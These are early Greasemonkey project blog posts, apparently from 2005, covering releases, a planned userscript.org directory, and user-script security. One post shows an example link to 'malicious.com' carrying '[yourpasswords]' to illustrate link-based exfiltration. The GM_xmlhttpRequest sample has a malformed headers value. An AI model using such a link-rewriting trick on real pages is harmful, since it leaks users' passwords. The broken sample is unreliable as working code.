If you're interested in Greasemonkey, you'll be interested in this: Dive into Greasemonkey, another fine publication by Mark Pilgrim, whose enthusiasm Greasemonkey has benefitted from greatly.

Dive into Greasemonkey is

Patterns
Case studies
API reference
Screencasts
GPL-licensed

It's also excellent, and includes the latest features. If you'd like to know something about coding for Greasemonkey it's there. If you'd like to evangelize Greasemonkey to someone else, it's there. If you'd like to learn how to use Greasemonkey, it's there.

Fully buzzword compliant, just the right length.

Book Burro

2005-04-24T13:41:00.000-07:00

Book Burro is wonderfully done work. Not only does it work well, but it's actually very visually pleasing (to my eyes, anyway). The only thing I find myself wanting is the ability to drag it around, but that's pretty minor.

Wiki Footer Fixer

2005-04-24T13:37:00.000-07:00

Funny: Carlo Zottman, author of many user scripts indeed has added to the wiki what may be his best work yet: a greasemonkey script that modifies the greasemonkey wiki.

Greasemonkey 0.3b Beta

2005-04-23T11:11:00.000-07:00

Update: The XPI I posted was a) corrupted and b) not able to be served from youngpup.net (the classic XPI/mimetype issue). Sorry about the false start. Reposting now to mozdev.org. Will update again here when it is available.

If you like living on the edge, you may want to try out Greasemonkey 0.3b Beta.

The most noticeable user improvement is the addition of an "edit" button in the manage dialog and a little greasemonkey icon in the bottom right of the screen that you can use to disable GM quickly. Also, we now work on FF 1.0.3. Under the covers, developers now have access to GM_setValue and GM_getValue for persistent storage.

If you decide to try this version, please be aware that there is a pretty significant config migration that happens the first time it runs. You may want to back up your existing configuration before installing. Check the FAQ for details on where to find it.

As always, please report your bugs here, or on the mailing list.

Miscellaneous

2005-04-11T11:27:00.000-07:00

Raddest user script yet: Lickr.

Jon Udell uses Greasemonkey as a DDOS platform ;-). Please be considerate with how much traffic you generate with scripts; the last thing we want is people seriously looking for ways to block GM.

More interestingly, he laments:

"there are two aspects of [writing greasemonkey scripts] that feel antiquated. One is groveling around inside Web pages -- in this case, the Bloglines and del.icio.us citation pages -- using regular expressions. The other is groveling around inside the DOM (document object model) of the page into which you're inserting instrumentation."

I cannot help with the former; that is up to web service operators to provide reasonable interfaces. On the second, what we really want is HTML overlays.

Were there no legacy concerns, the syntax might ideally look something like this:

<overlay insertbefore="/foo/bar[@monkey]">
<div>
... your html, css, javascript here ...
</div>
</overlay>

<overlay replace="//a">
... do something to all hyperlinks here ...
</overlay>

Clearly, this hasn't been totally thought out. But usually what people are doing in greasemonkey is adding, modifying, or replacing HTML. This might be easier to do with a declarative language, like, say, HTML.

Of course, there's nothing stopping you from doing this:

<overlay insertafter="/html/body">
<script language="javascript">
regular GM type code here...
</script>
</overlay>

... which just shows that this would essentially be a superset of current GM functionality.

What do people think of this? I see several problems, myself:

a) Implementing some of these overlay commands may require loading the entire DOM somewhere offline, pre-render, manipulating it, then feeding it to the renderer. This kills the progressive loading that browsers use to make page loading seem faster. It also sounds really, really hard. It would be easier to use regular expressions, instead of XPath, but that feels pretty hacky.

b) This model seems to conflict with one of GMs major current features, that it doesn't make visible markup changes to things like rich text editors. Maybe this could be gotten around by special casing RTE's and not running GM on them.

c) Somebody will undoubtebly say that I'm overthinking things.

Userscript.org

2005-04-08T07:20:00.000-07:00

I posted something very like this to the mailing list, but I wanted it to get out to more people for consideration.

So far, Greasemonkey has gotten by with a wiki page, but it's quickly outgrowing that.

So I'm starting to work on a new user script directory, which will live over on userscript.org.

I'm interested in input on how I'm planning to do this (or if someone would like to help). If you think I'm doing something wrong, please convince me.

To set the stage, here are the goals I'm attempting to address:

Provide versioning and update notification.

Improve ability to judge trustworthiness of scripts

Provide an easy way to find user scripts.

Encourage sharing of scripts.

Provide a home for the idea of user scripts, including other browsers.

That's all fairly ambitious, so I'll be reluctant to take on new goals.

In order to serve goals 1-4, the directory will need to discover scripts, and regular spidering won't be very useful, I think, because there are relatively few user scripts, and I'm not sure how to go about finding good sources of scripts.

(Well, there are obvious things like checking domains you've found them on before, and taking outbound links from those sites if url like *user.js, but even so...)

I think using delicious for discovery is a pretty easy win, because people will tag for Greasemonkey if it's useful, and delicious is useful as a directory to start with, and we can seed the tagging with quite a number of scripts already.

Of course the directory will allow form-post submission of a URL to a script so that authors can have a more direct way of discovery.

So assume we've got a directory and it has lots of scripts and no trouble finding more.

I plan on managing versioning as follows: once a script has been discovered, it will be hashed, and this hash will be the basis for differentiating the originally retrieved script from any later version. Scripts in the directory will be periodically retrieved, and changes in hashes will create new versions in the directory.

Why take this route over allowing (read: requiring) authors to explicitly version?

1) Because this versioning is meant to allow not just for update notification, but also for assignment of trust. A popular script that has not changed in a month is very likely trustworthy, but once a new version is published, all bets are off. If the author controlled the versioning as well as the script, there'd be no basis for trust.

2) Because authors won't consistently version their own scripts. User script authoring is meant to be relatively fluid and lightweight, and making backups and renaming and re-versioning is a bunch of overhead when the author just wants to spend a couple seconds fixing a bug.

So assume we have a directory with scripts and versioning. With this, we can provide update notification. Syndication seems the obvious choice; it's lightweight, and people interested in Greasemonkey are very likely to use it. I suppose we could also do email notification, but, well, I don't know much about administering a mail server or mailing list software.

So the user's been notified that there is a new script he may be interested in. How does she know whether its OK to install? There've been suggestions that sand boxing user scripts would be good, and breathless descriptions of how this is the end of e-commerce (OK, that's a small hyperbole).

(Thanks to Adrian Holovaty for pointing out that Craigslist has this problem and has proven that a community review process is all you really need to keep bad things from happening.)

I think generally people will be interested in controlling this problem, and keeping stuff completely safe is sort of an impossible goal. All you can hope for is to keep things from going off the rails and exposing lots of people to rude things. We'll have people using these scripts, and some of them will peek under the hood, and some of -them- will notice that the script is doing rude things. These people should be able to flag scripts as evil, and a trusted group (perhaps recruited on the basis of correct flagging) will review a queue of flagged scripts. Anything sufficiently flagged (what's sufficient? I dunno) will be unavailable in the directory until it's reviewed. Anything that's been reviewed and has the Good Webkeeping seal of approval will be exempt from flagging (or have a higher threshold, or something complicated). Things reviewed and found to be evil will be banished from the directory, along with the IP subnet and country of author. OK, maybe just the script.

Along the same lines, I'd like to have a flag that says "doesn't work", and eventually, I'd like this to be integrated in GM's client so that when people say something doesn't work, we can have a list of injected scripts for clues as to script compatibility problems (because that really is a problem, and it's only going to get worse).

Further along trust lines, there's also the idea that a script that's been out unchanged a while and followed out and unflagged is probably a good and Good script, so those scripts might get some bonus in ranking. Which leads us into actually finding the script you're looking for.

There'll be full text search (so you can see how people are using GM_* functions or find a script through a comment), there'll be header search (show all scripts which match URL x, or have name y, etc). There'll also be a tag search, which will just use delicious' tags.

So now you've got some search results. They'll be ranked by number of delicious links to start with, and maybe that'll be good enough. If not, we can throw in trust or search noise, or something else complicated.

Also, particular script versions will be available off of stable URLs on the directory. The search results will take you to the original publishing location, but if your favorite ~user/script goes down, the directory will still be there. I haven't decided what the stable URL should look like. /root/namespace/userscript seems obvious, but of course, lots of people aren't setting their namespaces, so who knows. I also plan to have all versions available, so that if /root/namespace/userscript is current, then /root/namespace/userscript/20050110-164502 was the script as of that date and time (and it'll use the normal W3 date format, of course). I dunno, maybe this isn't version 1 stuff, but I think it'd be useful to see evolutions or to have a stable pointer for some discussion and such.

That about does it for goals 1-3. But assume you're a script author, and you'd like to share your script. You just post it on your site (Or submit it to the directory for hosting? This might get complicated.) Everyone knows where to find user scripts, so it's way out there, even if you're not an A-lister. And if you change something, everyone that wanted to know will know.

Another benefit of the hash approach is that the GM client could some day support auto update by hashing its installed script and asking the directory for any updates.

We also have a situation where authors modify functionality of scripts after publishing (say, to support UPS tracking after publishing a FedEx-only linker), and an accidental benefit of the wiki has been that script authors could say what changed easily. I'd like a @longdesc so that script authors could write a book (like this one!) about how great their user script is, and the directory would scrape this so that updated functionality just shows up in search.

That's up to goal 4.

Goal 5 is a bit broader, but I'm pretty stoked to see user scripts in Opera and IE. Safari already had Pith Helmet, and we apparently didn't inspire Opera, but I don't care. I just want user scripts to be useful and for them to spread, so I'd like to do what we can to provide a home for user scripts in general, and help other projects that don't have mozdev and mozillazine to help them with hosting and community. userscript.org will start out GM-only, but I hope that changes.

This last one is months or longer out, but it seems worth doing, and I'd like to do it.

Of course I don't plan on doing all this stuff before putting something out there, and I hope you readers will tell me what I'm doing wrong, but this is the general direction I'm headed.

If anyone got to the end, congrats, and please take a few more minutes to tell me how this could better, but please keep the goals listed above in mind.

P.S. There's already been useful discussion on the mailing list. If you're interested in this stuff, I recommend you join.

GreasemonkIE: user scripts for IE

2005-03-31T06:34:00.000-08:00

I'm telling you, this user script thing is, err, useful.

Todd Ostermeier has gone and implemented a user scripting host for IE.

It's a little shaky so far, but it's fantastic to see the hackable web spreading to the other 80(?)% of desktops.

Thanks, Todd!

Greasemonkey 0.2.6: Now with less fatal chrome bugs!

2005-03-30T12:12:00.000-08:00

So it looks like greasemonkey 0.2.6, which fixes the major flaw in 0.2.5 that stopped some people's chrome (including forward/back buttons, tabs, and url bars) from working, is propagated across all the servers.

Sorry for all the trouble people had with the previous release. Please comment here if you continue to have problems.

Greasemonkey 0.2.5: b0rken

2005-03-29T08:42:00.000-08:00

There seems to be two major problems people are experiencing: first, they don't even get 0.2.5 because the download link sends them to 0.2.4. This is great because they have no chance of experiencing the other bug if they download that version ;-). Unfortunately it seems to be that all the download mirrors still haven't propagated yet, ~12 hours after I synced them, which is a little worrisome.

The second issue is that some people are having problems with their address bars with 0.2.5. I don't actually get this, so I don't think it occurs in all cases.

Anyway, please bear with us as we get a better version uploaded. Thanks.

Greasemonkey 0.2.5: XMLHTTP across domains and tool menu commands

2005-03-28T21:56:00.000-08:00

0.2.5 is available. This was a pretty cool release because it had contributions from four different people.

GM_xmlhttpRequest - XMLHTTP across domains

Using the new global GM_xmlhttpRequest function, user script authors can make XMLHTTP requests to any domain. These type of requests used to be limited by the traditional browser sandbox of only making requests to the same domain of the current page.

Here's an example request:

GM_xmlhttpRequest({
method:"POST",
url:"http://someurl.com/monkey",
headers:["Header-A":"hotdog","Header-B","foobar"],
data:"foo=bar&hot=dog&mon=key",
onload:function(result) { alert(result.responseText) }
});

There are other options as well.

GM_registerMenuCommand - user scripts that add commands to the tools menu

You can use the new GM_registerMenuCommand function to add things to the tools menu. Here's an example:

GM_registerMenuCommand("My command", function() {
alert("hello, from a user script!");
});

This should enable many user scripts that have a component that should be executed by the user on demand, like a bookmarklet.

Other random things:

Added an "enable all"/"disable all" feature to the greasemonkey options screen
Fixed a bug that was preventing greasemonkey from applying user scripts to XHTML strict documents
Removed all default scripts from installation. These were causing problems for too many people, and there's no longer any need for example scripts now that we have the repository.

The user script arms race has begun!

2005-03-27T16:00:00.000-08:00

The incomparable Dean Edwards has posted a well-written example showing how a site owner can gum up the works for unwanted scripts.

This was a small matter of time. User scripts are a new thing on the web, and the concerns Dean raises are valid. Besides, when user scripts get more popular, there's too much money in advertising for workarounds not to be sought.

We can work through this.

And now for something less snarky...

2005-03-23T16:50:00.000-08:00

Lynn asked in the comments what we think of the security concerns raised by the cnet article.

I think that people should be careful which userscripts they install on their computer. If they aren't javascript-literate, maybe they should hold off until there is a community rating system in place.

It is an important (and interesting!) problem though. And even though all my friends say it's probably impossible to solve, I'll keep tinkering with it because I'm lame that way. Perhaps an ugly hack will surface yet.

I thought about it over the weekend, eventually coming to the conclusion that the real problem was in fact the browser: browsers shouldn't let javascript initiate http requests to other domains without a user prompt. If there were no way for javascript to send data on the page to anywhere besides the originating domain, these problem wouldn't exist! Why oh why, I cried to myself, Why were these browser manufacturers so stupid? I decided to write an extension to fix this behavior in Firefox.

It was while explaining my great idea to Tony this morning that I first realized it would still be vulnerable to the oldest exploit of all: the hyperlink. Even if I blocked all javascript initiated communication completely, nothing stops javascript from changing all the hyperlinks on the page to point to:

<a href="http://malicious.com/?showme=[yourpasswords]&muahahahah">

Then all it takes is one click and your passwords are stolen. Bollocks. Back to the drawing board.

A thought:

2005-03-23T12:38:00.000-08:00

Greasemonkey has the exact same security context as bookmarklets.

Hello World!

2005-03-23T06:57:00.000-08:00

It occurred to me that greasemonkey ought to have a blog.